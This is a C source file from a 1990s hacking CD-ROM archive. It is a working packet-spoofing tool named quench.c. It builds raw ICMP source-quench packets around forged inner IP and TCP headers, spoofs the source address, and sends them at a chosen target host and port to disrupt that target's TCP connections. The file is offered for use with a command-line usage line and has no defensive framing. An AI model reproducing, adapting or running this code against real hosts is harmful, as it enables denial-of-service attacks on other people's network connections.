home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / hacking / virriiorg / quench.c < prev    next >
Encoding:
C/C++ Source or Header  |  1996-04-23  |  6.3 KB  |  191 lines
  1. #include <sys/types.h>
  2. #include <sys/socket.h>
  3. #include <netinet/in_systm.h>
  4. #include <netinet/in.h>
  5. #include <netinet/ip.h>
  6. #include <netinet/tcp.h>
  7. #include <netinet/ip_icmp.h>
  8. #include <netdb.h>
  9.  
  10.  
  11. static int thecode;
  12.  
  13. u_short cksum( u_short *, int );
  14. void      sendkill( char *, int, char *, int );
  15.  
  16.  
  17. u_short cksum( u_short *buf, int nwords ) {
  18.         unsigned long sum;
  19.  
  20.         for ( sum = 0; nwords > 0; nwords -- )
  21.                 sum += *buf++;
  22.         sum = ( sum >> 16) + ( sum & 0xffff );
  23.         sum += ( sum >> 16 );
  24.         return ~sum ;
  25. }
  26.  
  27. void resolve_address(struct sockaddr * addr, char *hostname, u_short port) {
  28. struct  sockaddr_in *address;
  29. struct  hostent     *host;
  30.  
  31. address = (struct sockaddr_in *)addr;
  32. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  33. /* fill in the easy fields */
  34. address->sin_family = AF_INET;
  35. address->sin_port = htons(port);
  36. /* first, check if the address is an ip address */
  37. address->sin_addr.s_addr = inet_addr(hostname);
  38. if ( (int)address->sin_addr.s_addr == -1) {
  39.         /*it wasn't.. so we try it as a long host name */
  40.         host = gethostbyname(hostname);
  41.    if (host) {
  42.                 /* wow.  It's a host name.. set the fields */
  43.                 /* ?? address->sin_family = host->h_addrtype; */
  44.                 bcopy( host->h_addr, (char *)&address->sin_addr,
  45.                 host->h_length);
  46.                 }
  47.         else {
  48.                 /* oops.. can't find it.. */
  49.                 puts("Couldn't resolve address!!!");
  50.                 exit(-1);
  51.                 }
  52.         }
  53. /* all done. */
  54. }
  55.  
  56. #define PACKETSIZE ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) +  \
  57.                                                         sizeof( struct iphdr ) + 8 )
  58. #define ICMPSIZE   ( sizeof( struct icmphdr ) + sizeof( struct iphdr ) + 8 )
  59. #define offsetTCP  ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) + \
  60.                                                         sizeof( struct iphdr ) )
  61. #define offsetIP   ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) )
  62. #define offsetICMP ( sizeof( struct iphdr ) )
  63. #define offsetRIP  ( 0 )
  64.  
  65. void    sendkill( char * fromhost, int fromport, char * tohost, int toport ) {
  66.         char    *       packet;
  67.         static struct sockaddr_in       local, remote;
  68.         static int        sock = 0;
  69.  
  70.         if ( !sock ) {
  71.                 resolve_address( (struct sockaddr *)&local, fromhost, fromport );
  72.                 resolve_address( (struct sockaddr *)&remote, tohost, toport );
  73.                 sock = socket( AF_INET, SOCK_RAW, 255 );
  74.                 if ( sock == -1 ) {
  75.                         perror("Getting raw socket");
  76.                         exit(-1);
  77.                 }
  78.         }
  79.         /*
  80.          .  Get memory for the packet
  81.         */
  82.         packet = (char *)malloc( PACKETSIZE );
  83.         if ( !packet ) {
  84.                 perror("Getting space for packet");
  85.                 exit(-1);
  86.         }
  87.  
  88.         /*
  89.          . Fill in our pretended TCP header
  90.     . note - since this was allegedly an outgoing packet...  we have to
  91.          . flip the source and destination stuff
  92.         */
  93.         {
  94.         struct tcphdr * fake_tcp;
  95.         fake_tcp = ( struct tcphdr *)( packet + offsetTCP );
  96.         fake_tcp->th_dport = htons(fromport);
  97.         fake_tcp->th_sport = htons(toport);
  98.         fake_tcp->th_seq         = 0x1984;
  99.         }
  100.         /*
  101.          . fill in the fake IP header.
  102.     . the same reversal as above still applies.. the packet was sent to
  103.          . our machine ( yeah right )
  104.         */
  105.         {
  106.         struct iphdr * fake_ip;
  107.         fake_ip = ( struct iphdr *) ( packet + offsetIP );
  108.  
  109.         /* these fields are irrelevant -- never checked?? */
  110.         fake_ip->version = 4;
  111.         fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */
  112.         fake_ip->tos = 0;
  113.         fake_ip->id = htons( getpid() & 255 );
  114.         fake_ip->frag_off = 0;
  115.         fake_ip->ttl = 24; /* not so long to live anymore */
  116.         fake_ip->check = 3805;  /* this CAN'T be checked..so do something != 0 */
  117.  
  118.         /* these fields are used ..  */
  119.         fake_ip->ihl = 5;
  120.         bcopy( (char *)&local.sin_addr, &fake_ip->daddr, sizeof( fake_ip->daddr ) );
  121.         bcopy( (char *)&remote.sin_addr,&fake_ip->saddr, sizeof( fake_ip->saddr ) );
  122.         fake_ip->protocol = 6;  /* a TCP packet */
  123.         }
  124.  
  125.         /*
  126.          . fill in the ICMP header
  127.          . this is actally rather trivial, though don't forget the checksum
  128.         */
  129.         {
  130.         struct icmphdr * icmp;
  131.         icmp = ( struct icmphdr *)(packet + offsetICMP );
  132.  
  133.         icmp->type = 4;
  134.         icmp->code = thecode; /* this will generate an error message */
  135.         icmp->un.gateway = 0;
  136.         icmp->checksum = 0;
  137.         icmp->checksum = cksum( (u_short *)(icmp),  ICMPSIZE >> 1 );
  138.         }
  139.         /*
  140.          . finally, fill in the IP header
  141.          . this is almost the same as above.. though this time, it is the
  142.     . ip header that really takes the packet places. make sure the
  143.          . checksum and addresses are right
  144.         */
  145.         {
  146.         struct iphdr * real_ip;
  147.         real_ip = ( struct iphdr *)packet;
  148.  
  149.         real_ip->version = 4;
  150.         real_ip->ihl = 5;
  151.         real_ip->tot_len = htons(PACKETSIZE);
  152.         real_ip->tos = ( 7 << 5) | 4;
  153.         real_ip->ttl = 255;
  154.         real_ip->protocol = 1;
  155.         real_ip->check = 0;
  156.         real_ip->id = htons( 3 );
  157.         real_ip->frag_off = 0;
  158.    bcopy( (char *)&local.sin_addr, &real_ip->saddr, sizeof( real_ip->saddr ) );
  159.    bcopy( (char *)&remote.sin_addr,&real_ip->daddr, sizeof( real_ip->daddr ) );
  160.         real_ip->saddr = htonl( ntohl(real_ip->daddr ) & 0xffffff00L  );
  161.         real_ip->check = cksum( (u_short  *)packet, sizeof( struct iphdr ) >> 1 );
  162.         }
  163.         /*
  164.     .
  165.          . and now.. finally...  send it out into the net
  166.         */
  167.         {
  168.         int result;
  169.  
  170.         result = sendto( sock, packet, PACKETSIZE, 0,
  171.                         (struct sockaddr *)&remote, sizeof( remote ) );
  172.         if ( result != PACKETSIZE ) {
  173.                         perror("sending packet" );
  174.         }
  175.  
  176.         }
  177. }
  178.  
  179. main( int argc, char ** argv ) {
  180.         int i,codes ;
  181.  
  182.         if ( argc != 6 ) {
  183.         puts("usage: <from host><from port> <target host><target port> <icmp type>" );
  184.  
  185.                 exit(-1);
  186.         }
  187.  
  188.         thecode = atoi(argv[5]);
  189.         sendkill( argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
  190. }
  191.